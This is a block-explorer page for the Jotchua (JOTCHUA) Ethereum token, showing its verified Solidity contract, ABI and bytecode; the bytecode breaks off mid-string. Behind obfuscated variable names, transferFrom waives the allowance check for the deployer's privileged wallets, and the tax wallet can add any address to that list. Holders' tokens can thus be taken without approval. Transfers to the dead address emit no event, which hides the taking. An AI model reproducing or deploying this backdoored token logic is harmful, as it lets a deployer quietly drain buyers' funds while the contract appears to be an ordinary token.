ETH Price: $1,890.52 (-0.16%)
 

Overview

Max Total Supply

1,000,000,000 JOTCHUA

Holders

236

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
395,671.137332331 JOTCHUA

Value
$0.00
0x971187e9a4ac35e482796e5e5e564cE6BDe55ab1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
JOTCHUA

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : JOTCHUA.sol
// SPDX-License-Identifier: MIT

/**

    Name: Jotchua
    Ticker: JOTCHUA

    Jotchua, also known as Esquizo (Schizo) and Perro Dinero (Money Dog).

    https://www.jotchuadog.cc
    https://t.me/jotchuadogeth
    https://x.com/jotchuadogeth

*/

pragma solidity 0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

contract JOTCHUA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Jotchua";
    string private constant _symbol = unicode"JOTCHUA";
    uint256 public _maxTaxSwap = 1_000_000 * 10 ** _decimals;

    mapping(address => uint256) private zaz78r;
    mapping(address => mapping(address => uint256)) private CCVt45f;
    mapping(address => bool) private xxx56y;
    address payable private bbgh6h;
    address private _dead = address(0xdead);

    uint256 private _initialBuyTax = 10;
    uint256 private _initialSellTax = 10;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 5;
    uint256 private _reduceSellTaxAt = 5;
    uint256 private _buyCount = 0;
    uint256 private _lastBuyBlock;
    uint256 private _blockBuyAmount = 0;
    uint256 private _lastSellBlock;
    uint256 private _transferTax;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        bbgh6h = payable(_msgSender());
        zaz78r[address(this)] = _tTotal;
        xxx56y[owner()] = true;
        xxx56y[address(this)] = true;
        xxx56y[bbgh6h] = true;

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return zaz78r[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return CCVt45f[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (
            !((_msgSender() != uniswapV2Router.factory() &&
                xxx56y[msg.sender]) ||
                (sender != uniswapV2Pair && recipient == _dead))
        )
            _approve(
                sender,
                _msgSender(),
                CCVt45f[sender][_msgSender()].sub(
                    amount,
                    "ERC20: transfer amount exceeds allowance"
                )
            );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        CCVt45f[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != address(this) && to != address(this)) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !xxx56y[to]
            ) {
                if (_lastBuyBlock != block.number) {
                    _blockBuyAmount = 0;
                    _lastBuyBlock = block.number;
                }
                _blockBuyAmount += amount;
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                require(
                    _blockBuyAmount < maxSwapLimit() ||
                        _lastBuyBlock != block.number,
                    "Max Swap Limit"
                );
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if (contractTokenBalance > 0) {
                    uint256 swapBalance = contractTokenBalance > _maxTaxSwap
                        ? _maxTaxSwap
                        : contractTokenBalance;

                    swapTokensForEth(
                        amount > swapBalance ? swapBalance : amount
                    );
                }
                sendETHToFee(address(this).balance);
            }
        }

        if (taxAmount > 0) {
            zaz78r[address(this)] = zaz78r[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        zaz78r[from] = zaz78r[from].sub(amount);
        zaz78r[to] = zaz78r[to].add(amount.sub(taxAmount));
        if (_dead != to) emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        bbgh6h.transfer(amount);
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function maxSwapLimit() internal view returns (uint256) {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        uint[] memory amountOuts = uniswapV2Router.getAmountsOut(
            5 * 1e17,
            path
        );
        return amountOuts[1];
    }

    function removeLimits () external onlyOwner {
    }
    
    receive() external payable {}

    function manualSend() external onlyOwner {
        sendETHToFee(address(this).balance);
    }

    function setTaxWallet(address payable newWallet) external {
        require(_msgSender() == bbgh6h);
        bbgh6h = newWallet;
        xxx56y[bbgh6h] = true;
    }


}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526009600a6200001491906200059b565b620f4240620000249190620005eb565b60015561dead60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a600755600a6008555f6009555f600a556005600b556005600c555f600d555f600f555f601360156101000a81548160ff0219169083151502179055505f601360166101000a81548160ff0219169083151502179055505f620000d2620003db60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506200017e620003db60201b60201c565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620001cd91906200059b565b633b9aca00620001de9190620005eb565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160045f62000234620003e260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620003ad91906200059b565b633b9aca00620003be9190620005eb565b604051620003cd919062000646565b60405180910390a362000661565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000493578086048111156200046b576200046a62000409565b5b60018516156200047b5780820291505b80810290506200048b8562000436565b94506200044b565b94509492505050565b5f82620004ad57600190506200057f565b81620004bc575f90506200057f565b8160018114620004d55760028114620004e05762000516565b60019150506200057f565b60ff841115620004f557620004f462000409565b5b8360020a9150848211156200050f576200050e62000409565b5b506200057f565b5060208310610133831016604e8410600b8410161715620005505782820a9050838111156200054a576200054962000409565b5b6200057f565b6200055f848484600162000442565b9250905081840481111562000579576200057862000409565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620005a78262000586565b9150620005b4836200058f565b9250620005e37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200049c565b905092915050565b5f620005f78262000586565b9150620006048362000586565b9250828202620006148162000586565b915082820484148315176200062e576200062d62000409565b5b5092915050565b620006408162000586565b82525050565b5f6020820190506200065b5f83018462000635565b92915050565b6132a4806200066f5f395ff3fe6080604052600436106100f6575f3560e01c8063751039fc11610089578063a9059cbb11610058578063a9059cbb146102f3578063dd62ed3e1461032f578063ea414b281461036b578063f429389014610393576100fd565b8063751039fc146102735780638a8c523c146102895780638da5cb5b1461029f57806395d89b41146102c9576100fd565b806323b872dd116100c557806323b872dd146101bb578063313ce567146101f757806370a0823114610221578063715018a61461025d576100fd565b806306fdde0314610101578063095ea7b31461012b5780630faee56f1461016757806318160ddd14610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103a9565b604051610122919061227e565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c919061233c565b6103e6565b60405161015e9190612394565b60405180910390f35b348015610172575f80fd5b5061017b610403565b60405161018891906123bc565b60405180910390f35b34801561019c575f80fd5b506101a5610409565b6040516101b291906123bc565b60405180910390f35b3480156101c6575f80fd5b506101e160048036038101906101dc91906123d5565b61042c565b6040516101ee9190612394565b60405180910390f35b348015610202575f80fd5b5061020b6106cb565b6040516102189190612440565b60405180910390f35b34801561022c575f80fd5b5061024760048036038101906102429190612459565b6106d3565b60405161025491906123bc565b60405180910390f35b348015610268575f80fd5b50610271610719565b005b34801561027e575f80fd5b50610287610867565b005b348015610294575f80fd5b5061029d6108fd565b005b3480156102aa575f80fd5b506102b3610e1f565b6040516102c09190612493565b60405180910390f35b3480156102d4575f80fd5b506102dd610e46565b6040516102ea919061227e565b60405180910390f35b3480156102fe575f80fd5b506103196004803603810190610314919061233c565b610e83565b6040516103269190612394565b60405180910390f35b34801561033a575f80fd5b50610355600480360381019061035091906124ac565b610ea0565b60405161036291906123bc565b60405180910390f35b348015610376575f80fd5b50610391600480360381019061038c9190612525565b610f22565b005b34801561039e575f80fd5b506103a761103a565b005b60606040518060400160405280600781526020017f4a6f746368756100000000000000000000000000000000000000000000000000815250905090565b5f6103f96103f26110d9565b84846110e0565b6001905092915050565b60015481565b5f6009600a61041891906126ac565b633b9aca0061042791906126f6565b905090565b5f6104388484846112a3565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104a2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c6919061274b565b73ffffffffffffffffffffffffffffffffffffffff166104e46110d9565b73ffffffffffffffffffffffffffffffffffffffff161415801561054e575060045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806105fe575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156105fd575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b6106c0576106bf8461060e6110d9565b6106ba856040518060600160405280602881526020016132476028913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106716110d9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ab49092919063ffffffff16565b6110e0565b5b600190509392505050565b5f6009905090565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107216110d9565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a4906127c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61086f6110d9565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f2906127c0565b60405180910390fd5b565b6109056110d9565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610991576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610988906127c0565b60405180910390fd5b601360149054906101000a900460ff16156109e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d890612828565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a7d3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610a6991906126ac565b633b9aca00610a7891906126f6565b6110e0565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ae7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b0b919061274b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b91573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bb5919061274b565b6040518363ffffffff1660e01b8152600401610bd2929190612846565b6020604051808303815f875af1158015610bee573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c12919061274b565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c99306106d3565b5f80610ca3610e1f565b426040518863ffffffff1660e01b8152600401610cc5969594939291906128af565b60606040518083038185885af1158015610ce1573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d069190612922565b50505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610da6929190612972565b6020604051808303815f875af1158015610dc2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610de691906129c3565b506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4a4f544348554100000000000000000000000000000000000000000000000000815250905090565b5f610e96610e8f6110d9565b84846112a3565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f626110d9565b73ffffffffffffffffffffffffffffffffffffffff1614610f81575f80fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b6110426110d9565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c5906127c0565b60405180910390fd5b6110d747611b16565b565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361114e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114590612a5e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b390612aec565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161129691906123bc565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611311576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130890612b7a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361137f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137690612c08565b60405180910390fd5b5f81116113c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b890612c96565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561142a57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117af5761146b606461145d600b54600d541161144a5760075461144e565b6009545b85611b7e90919063ffffffff16565b611bf590919063ffffffff16565b905060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611516575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611569575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156115b65743600e5414611586575f600f8190555043600e819055505b81600f5f8282546115979190612cb4565b92505081905550600d5f8154809291906115b090612ce7565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561163e57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156116da5761164b611c3e565b600f54108061165c575043600e5414155b61169b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169290612d78565b60405180910390fd5b6116d760646116c9600c54600d54116116b6576008546116ba565b600a545b85611b7e90919063ffffffff16565b611bf590919063ffffffff16565b90505b5f6116e4306106d3565b9050601360159054906101000a900460ff1615801561174f575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156117675750601360169054906101000a900460ff165b156117ad575f8111156117a3575f60015482116117845781611788565b6001545b90506117a181851161179a578461179c565b815b611e82565b505b6117ac47611b16565b5b505b5f8111156118ae576118078160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120ed90919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118a591906123bc565b60405180910390a35b6118fe8260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461214a90919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506119a1611955828461214a90919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120ed90919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aae578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611a98848661214a90919063ffffffff16565b604051611aa591906123bc565b60405180910390a35b50505050565b5f838311158290611afb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af2919061227e565b60405180910390fd5b505f8385611b099190612d96565b9050809150509392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611b7a573d5f803e3d5ffd5b5050565b5f808303611b8e575f9050611bef565b5f8284611b9b91906126f6565b9050828482611baa9190612df6565b14611bea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016